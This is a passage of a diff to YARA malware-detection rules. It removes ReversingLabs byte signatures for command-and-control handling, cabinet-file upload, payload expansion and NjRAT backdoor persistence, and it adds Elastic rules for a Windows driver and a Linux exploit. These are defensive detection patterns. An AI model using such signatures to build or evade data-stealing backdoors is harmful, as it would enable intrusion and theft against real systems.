-            C0 75 ?? 8B 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 69 C0 ?? ?? ?? ?? A3 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4C 86 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? BE
-            ?? ?? ?? ?? 85 C0 75 ?? 8D 78 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33
-            FF E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 06 52 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B
-            44 96 ?? 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 8D ?? ?? ?? ?? 8B 54 8E ?? 68
-            ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 06 8D 50 ?? 8B FF 66 8B 08 83
-            C0 ?? 66 3B CF 75 ?? 2B C2 D1 F8 57 8D 3C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB
-            ?? 8B 06 8D 50 ?? 66 8B 08 83 C0 ?? 66 3B CF 75 ?? 2B C2 D1 F8 6A ?? 8D 3C 45 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? A1 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 54 8E ?? 50
-            52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 48 ?? EB ?? 33 C9 E8 ?? ?? ?? ?? 8B F8 56
-            FF 15 ?? ?? ?? ?? 8B 4D ?? 8B C7 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$create_cab_file_and_upload_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? A1 ?? ?? ?? ?? 53 56 57 33
-            FF 68 ?? ?? ?? ?? 8B F1 8D 95 ?? ?? ?? ?? 33 C9 57 52 89 85 ?? ?? ?? ?? 89 BD ?? ??
-            ?? ?? 89 BD ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 66 89
-            85 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 33 D2 50 66 89 95 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 0F B7 8D ?? ?? ?? ?? 0F B7 95 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 51 0F B7 8D ??
-            ?? ?? ?? 52 0F B7 95 ?? ?? ?? ?? 50 51 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 57
-            51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 57 68 ?? ?? ?? ?? 8B C8 51 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52
-            FF 15 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B D8 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ??
-            68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ??
-            ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ??
-            ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B CE 8D BD ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 F8 ?? 75 ?? 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 57 8D
-        }
-		$create_cab_file_and_upload_p2 = {
-            85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? EB ?? 33 FF 8D 9D ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 74 ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ??
-            ?? 8B B5 ?? ?? ?? ?? 83 C6 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 74
-            ?? 56 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 3B
-            DF 74 ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? EB ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 3B
-            CF 75 ?? 2B C2 8D 93 ?? ?? ?? ?? D1 F8 8D 0C 00 33 C0 89 02 89 42 ?? 89 42 ?? 89 42
-            ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? 3B CF 74 ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 8B CB EB ?? 33 C9 8B 95 ?? ?? ?? ?? 89 8A ?? ?? ?? ?? 3B CF 0F 84 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8B
-            BD ?? ?? ?? ?? 8B 87 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 C7 87 ??
-            ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8D 9B ?? ?? ?? ??
-            66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D 84 46 ?? ?? ?? ?? 50 6A ?? 89 85 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 6A ??
-            53 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 50
-            53 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? 51 03 C3 50 E8 ?? ?? ?? ??
-            8B BD ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 FB 83 C4 ?? 03 FE B9 ?? ?? ?? ?? BE ?? ?? ??
-            ?? 50 F3 A5 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 E8
-        }
-		$create_cab_file_and_upload_p3 = {
-            6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 6A ??
-            6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 57 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B 4D ??
-            33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 81 C6 ?? ?? ?? ??
-            6A ?? 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 50 05 ?? ?? ?? ?? 50 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ??
-            6A ?? 6A ?? 6A ?? 56 68 ?? ?? ?? ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 8B F0 85 F6 75 ?? 8B 95 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 52 FF D6 57 FF D6 B8 ?? ??
-            ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 50 53 6A
-            ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56
-            8B 35 ?? ?? ?? ?? FF D6 8B 8D ?? ?? ?? ?? 51 FF D6 57 FF D6 B8 ?? ?? ?? ?? 5F 5E 5B
-            8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 95 ??
-            ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35
-            ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 50 FF D6 57 FF D6 B8 ?? ?? ?? ?? 5F 5E 5B 8B 4D
-            ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15
-            ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 8D ?? ?? ?? ?? 51 FF D6 57 FF D6 83 C8
-        }
-		$create_cab_file_and_upload_p4 = {
-            5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 40 50 6A ?? 89 85 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ??
-            FF D6 8B 95 ?? ?? ?? ?? 52 FF D6 57 FF D6 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ??
-            ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 50 6A ?? 53 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83
-            C4 ?? 8D 8D ?? ?? ?? ?? 51 52 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ??
-            ?? FF D6 8B 85 ?? ?? ?? ?? 50 FF D6 57 FF D6 8B 4D ?? 8B 85 ?? ?? ?? ?? 5F 5E 33 CD
-            5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$cmd_expand_payload = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? 8B
-            D9 33 FF 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 33 D2 57 50 66 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D
-            ?? ?? ?? ?? 57 51 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ??
-            57 6A ?? 33 C0 68 ?? ?? ?? ?? 53 89 BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 57 57 57 6A ?? 57 56 FF
-            15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 75 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? 5F 5E 5B
-            8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 57 57 57 6A ?? 50 FF 15 ?? ?? ?? ?? 8B F8
-            85 FF 74 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 47 ?? 50 6A ?? 6A ?? FF 15
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 57 ?? 83 C4 ?? 57 89 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8B 3D ?? ?? ?? ?? 50 FF D7 56 FF D7 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ??
-            51 E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ??
-            ?? 83 C4 ?? 33 C0 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 50 50 68 ?? ?? ?? ?? 50
-            50 50 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 6A
-            ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            8B F0 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 FF D7 8B 4D ?? 8B 85 ?? ??
-            ?? ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6D 00 74 00 63 00 42 00 53 00 76 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x02][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x14][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($network_communication_p*)) and ( all of ($handle_c2_commands_p*)) and ( all of ($create_cab_file_and_upload_p*)) and ($cmd_expand_payload)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Njrat : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Exploit_Moogrey_81131B66 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects NjRAT backdoor."
-		author = "ReversingLabs"
-		id = "578c813f-4bba-52cd-bcc7-4de2c3943cf7"
-		date = "2024-07-31"
-		modified = "2024-07-31"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/ByteCode.MSIL.Backdoor.NjRAT.yara#L1-L266"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "eeecf90965e6952d8b9efc9d1e96eaa47709b1d69fc7d435f4aebaaf0191f317"
+		description = "Detects Linux Exploit Moogrey (Linux.Exploit.Moogrey)"
+		author = "Elastic Security"
+		id = "81131b66-788e-4456-9cb4-ffade713e8d4"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Moogrey.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cc27b9755bd9feb1fb2c510f66e36c20a1503e6769cdaeee2bea7fe962d22ccc"
+		logic_hash = "dc2fe7caa38f665d24bbc673ff63491ebdeec8d56a420092243ce241238846cf"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "NjRAT"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "d21e48c7afe580a764153ca489c24a7039ae663ebb281a4605f3a230a963e33e"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$persistence_mechanism_v1_p1 = {
-        00 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 7E ?? ?? ??
-        ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ??
-        ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 16 2B ?? 17 13 ?? 11 ?? 39 ?? ?? ?? ??
-        00 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ??
-        7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 7E ?? ?? ?? ?? 28 ??
-        ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ??
-        ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ??
-        ?? ?? ?? 17 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ??
-        ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 0A
-        00 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 00 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16
-        72 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 00 11 ?? 18 72 ?? ??
-        ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 00 11 ?? 1A 72 ?? ?? ?? ?? A2
-        00 11 ?? 28 ?? ?? ?? ?? 16 16 15 28 ?? ?? ?? ?? 26 DE ?? 25 28 ?? ?? ?? ?? 0B 00 28
-        ?? ?? ?? ?? DE ?? 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F
-        ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ??
-        ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
-        DE ?? 25 28 ?? ?? ?? ?? 0C 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? ?? 6F ?? ?? ??
-        ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E
-        ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25
-    }
-		$persistence_mechanism_v1_p2 = {
-        28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00
-        28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 1D 28 ?? ?? ?? ??
-        72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 00 1D
-        28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 19 73 ??
-        ?? ?? ?? 80 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00
-        7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 16
-        15 28 ?? ?? ?? ?? 26 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 18 28 ??
-        ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ??
-        ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 13 ?? 18 13 ?? 28
-        ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 13 ??
-        11 ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 00 28 ?? ?? ?? ?? 11 ?? 11
-        ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 11 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ??
-        00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 72 ?? ?? ?? ??
-        11 ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11
-        ?? 72 ?? ?? ?? ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 72 ?? ?? ?? ??
-        11 ?? 28 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 11
-        ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28
-    }
-		$connect_v1_p1 = {
-        00 16 80 ?? ?? ?? ?? 20 D0 07 00 00 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 0B 00 07 13 ??
-        11 ?? 28 ?? ?? ?? ?? 00 00 00 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11
-        ?? 2C ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 14 80 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ??
-        ?? 0C 00 28 ?? ?? ?? ?? DE ?? 00 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25 28
-        ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ??
-        ?? ?? DE ?? 00 00 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ??
-        ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? ??
-        ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ??
-        6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 18
-        8D ?? ?? ?? ?? 13 ?? 11 ?? 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ??
-        ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2
-        00 11 ?? 14 14 14 17 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
-        28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 17 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 00
-        72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ??
-        ?? ?? ?? 13 ?? 11 ?? 2C ?? 11 ?? 7F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
-        ?? ?? ?? 13 ?? 2B ?? 00 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ??
-        ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
-    }
-		$connect_v1_p2 = {
-        00 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 11 ?? A2 00
-        11 ?? 17 7E ?? ?? ?? ?? A2 00 11 ?? 18 72 ?? ?? ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ??
-        A2 00 11 ?? 1A 72 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ??
-        ?? A2 00 11 ?? 18 72 ?? ?? ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? A2 00 11 ?? 1A 72 ??
-        ?? ?? ?? A2 00 11 ?? 1B 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1C 72 ?? ?? ?? ??
-        A2 00 11 ?? 1D 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1E 72 ?? ?? ?? ?? A2 00 11
-        ?? 1F ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ??
-        1F ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F
-        ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ??
-        7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 7E
-        ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 7E ??
-        ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 7E ?? ?? ??
-        ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 25 28 ?? ?? ?? ?? 13
-        ?? 00 28 ?? ?? ?? ?? DE ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 16 80 ?? ?? ?? ?? 28
-        ?? ?? ?? ?? DE ?? 00 00 DE ?? 11 ?? 28 ?? ?? ?? ?? 00 DC 7E ?? ?? ?? ?? 0A 2B ?? 06
-    }
-		$send_v1 = {
-        00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 16 0A 38 ?? ?? ?? ?? 00 00 7E ??
